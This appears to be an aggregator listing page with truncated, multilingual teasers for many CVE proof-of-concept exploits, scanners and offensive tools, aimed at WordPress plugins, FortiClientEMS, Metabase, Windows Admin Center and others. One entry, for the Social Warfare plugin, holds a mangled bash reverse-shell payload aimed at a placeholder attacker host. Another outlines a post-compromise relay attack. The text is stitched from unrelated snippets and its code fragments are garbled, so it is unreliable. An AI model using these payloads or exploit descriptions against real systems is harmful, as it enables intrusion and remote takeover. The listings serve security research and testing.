CVE-2026-3055-Scanner---Herramienta-de-Detecci-n

🔍 CVE-2026-3055 Scanner - NetScaler Memory Overread Detection Tool ⚠️ WARNUNG Dieses Tool dient ausschließlich Bildungszwecken und autorisierten Tests. Nicht auf Systemen ohne ausdrückliche Genehmigung des Eigentümers verwenden. 📋 Beschreibung Erkennungstool für CVE-2026-3055, das Citrix NetScaler...

audit_couchdb

Audit CouchDB: The simple, clear, CouchDB security assessment Audit CouchDB is a simple tool with a powerful message. Given an Apache CouchDB URL, it will tell you everything you ever wanted to know about its security. Objective Audit CouchDB will perform the following actions: 1. Learn every...

Drupalgeddon-Python3

Drupalgeddon Édition Python3 Un POC réécrit pour le CVE-2014-3704, réalisé dans le cadre de ma formation CPTS sur HackTheBox. https://nvd.nist.gov/vuln/detail/CVE-2014-3704 Le CVE-2014-3704, connu sous le nom de Drupalgeddon, affecte les versions 7.0 à 7.31 et a été corrigé dans la version 7.32. ...

cve-2026-23550-poc

CVE-2026-23550 PoC Um pequeno testador em Bash para CVE-2026-23550. Ele consulta o endpoint de login do conector modular WordPress afetado, verifica se um cookie wordpressloggedin é emitido e tenta confirmar o acesso ao painel de administração. Aviso: Use esta ferramenta apenas em sistemas que vo...

WantasticCore

Wantastic Una mesh WireGuard self-hosted con portale di amministrazione nel browser, tutto in un unico container. Prova la demo → · Unisciti a Discord → Perché Wantastic Il panorama delle VPN overlay è affollato — Tailscale, Headscale, NetBird, wg-easy. Si fermano tutti a "i tuoi dispositivi...

CVE-2026-63030

CVE-2026-63030 WordPress REST API Batch-Routenkonfusion + SQL-Injection führen zu einer vollständigen Exploit-Kette von unberechtigter Administratorerstellung → Remote Code Execution als PoC. Nur für autorisierte Sicherheitstests, Schwachstellenreproduktion und Forschung. Nicht für nicht...

cangibrina

root@kitploit: / | | | | / | ' \ / | | ' | '| | ' \ / | | || | | | | | | | | | | | | | | | | | | \,|| ||, ||./|| ||| ||,| |/ Beta - v0.8.7 Dashboard Finder English Português English Dashboard Finder Cangibrina ist ein plattformübergreifendes Tool, das darauf abzielt, das Admin-Dashboard von...

cve-2022-1040

环境 在Python环境中（3.10） root@kitploit: 强烈建议使用虚拟环境 pip3 install baseproxy python3.10 会因 pyOpenSSL（随 baseproxy 下载）版本过低而引发 AttributeError。重新安装最新版本即可解决。 pip3 uninstall pyOpenSSL pip3 install pyOpenSSL 运行 python3 Sophos-poc.py 在Docker中 root@kitploit: docker pull keithdockerhub/cve-2022-1040:latest 或自行构建...

CVE-2020-2733

CVE-2020-2733 - JD Edwards EnterpriseOne Tools 관리자 비밀번호가 적절히 보호되지 않음 그림 1: 문자열 복호화 그림 2: URL을 지정하여 복호화 CVE-2020-2733 애플리케이션: JD Edwards EnterpriseOne Tools 영향을 받는 버전: JD Edwards EnterpriseOne Tools 9.2 공급업체 URL: https://oracle.com/ 버그: 정보 공개 보고일: 2019년 9월 18일 공개 권고일: 2022년 8월 23일 참조:...

CVE-2026-26718

विवरण सारांश xxl-job-admin वेब एप्लिकेशन में क्रॉस-साइट रिक्वेस्ट फोर्जरी CSRF कमजोरी मौजूद है जो हमलावर को Glue IDE शेल स्क्रिप्ट्स में अनधिकृत संशोधन करने की अनुमति देती है। प्रभावित एंडपॉइंट में उचित CSRF टोकन सत्यापन का अभाव है और एक अनुमत रिक्वेस्ट मैपिंग के माध्यम से मनमाने HTTP तरीकों को...

CVE-2019-9978-Social-Warfare-WordPress-Plugin-RCE

CVE-2019-9978 - Social Warfare WordPress 插件远程代码执行 本仓库包含一个针对 CVE-2019-9978 的有效 Python 利用脚本，该漏洞是 WordPress 的 Social Warfare 插件（版本 system"bash -c \"bash -i & /dev/tcp/ATTACKERIP/LISTENPORT 0&1\""' with openPAYLOADFILE, "w" as f: f.writepayload printf"+ 载荷已写入 PAYLOADFILE" def starthttpserver: """通过...

Exploit-LPE-CVE-2026-21721

💥 CVE-2026-21721 Exploit Habe einen Exploit für CVE-2026-21721 geschrieben und auf einem Teststand verifiziert. 🎯 Was enthalten ist Ein funktionsfähiger Escalator: meldet sich an, liest permissions, schreibt Admin permission=4 auf allen Dashboards. Für die Ausnutzung wird ein gültiges Konto mit...

CVE-2026-21643

🚨 CVE-2026-21643 "FortiGhost" : SQLi RCE pre-autenticazione in FortiClientEMS Iniezione SQL non autenticata in FortiClientEMS 7.4.4 Potenziale esecuzione di codice remota tramite richieste HTTP appositamente predisposte alla GUI di amministrazione 📋 Panoramica CVE-2026-21643 è una vulnerabilità d...

CVE-2026-51564

CVE-2026-51564 Advertência de Segurança para CVE-2026-51564 Descrição Um problema no parâmetro redirect no Milk admin =0.9.8 permite que atacantes remotos redirecionem usuários para URLs externas arbitrárias através de uma requisição maliciosa. Componentes Afetados: App/Route.php,...

CVE-2023-32315-EXPLOIT

CVE-2023-32315 - Bypass dell'autenticazione di Openfire Questo repository evidenzia un grave problema di sicurezza che interessa diverse versioni di Openfire. Openfire, un server di collaborazione in tempo reale multipiattaforma che utilizza il protocollo XMPP sviluppato dalla comunità Ignite...

CVE-2026-72898

CVE-2026-72898 PoC : Iniezione SQL non autenticata in Metabase Iniezione SQL pre-autenticazione in Metabase che porta alla compromissione dell'admin Proof-of-concept per CVE-2026-72898, una vulnerabilità critica di SQL injection non autenticata nell'endpoint di reset della password di Metabase. I...

CVE-2026-26119

CVE-2026-26119 WAC RCE - CVE-2026-26119 RCE autenticata di Windows Admin Center tramite WinREST/PowerShell invokeCommand. Utilizzo: root@kitploit: python3 wacrce.py "" WACPASS= python3 wacrce.py Variabili d'ambiente: root@kitploit: WACBASE - override target base URL default below WACPASS -...

By-Poloss..-..CVE-2026-15038-POC

🚨 CVE-2026-15038 — Compromissione Admin di InfiniteWP Client Compromissione dell'account admin senza autenticazione in WordPress Multisite 📋 Panoramica Il plugin InfiniteWP Client per WordPress getoption'iwpclientactionmessageid' && !$iwpmmbcore-getoption'iwpclientpublickey' Lettura : Usa...

CVE-2021-45008

CVE-2021-45008 Escalação de privilégios de usuário para admin Produto e versão afetados: Plesk Obsidian 18.0.37 Severidade: Crítica Impacto: Obter privilégios elevados de usuário para admin e acessar informações críticas Descrição: vulnerabilidade de permissões inseguras que permite que um usuári...

SharpRelay

Utilizzo L'unico requisito per far funzionare questo attacco è avere un beacon con privilegi di amministratore locale o con la capacità di caricare driver. L'attacco che utilizza SharpRelay funziona come segue: Caricare il driver WinDivert firmato in qualsiasi cartella sull'host compromesso...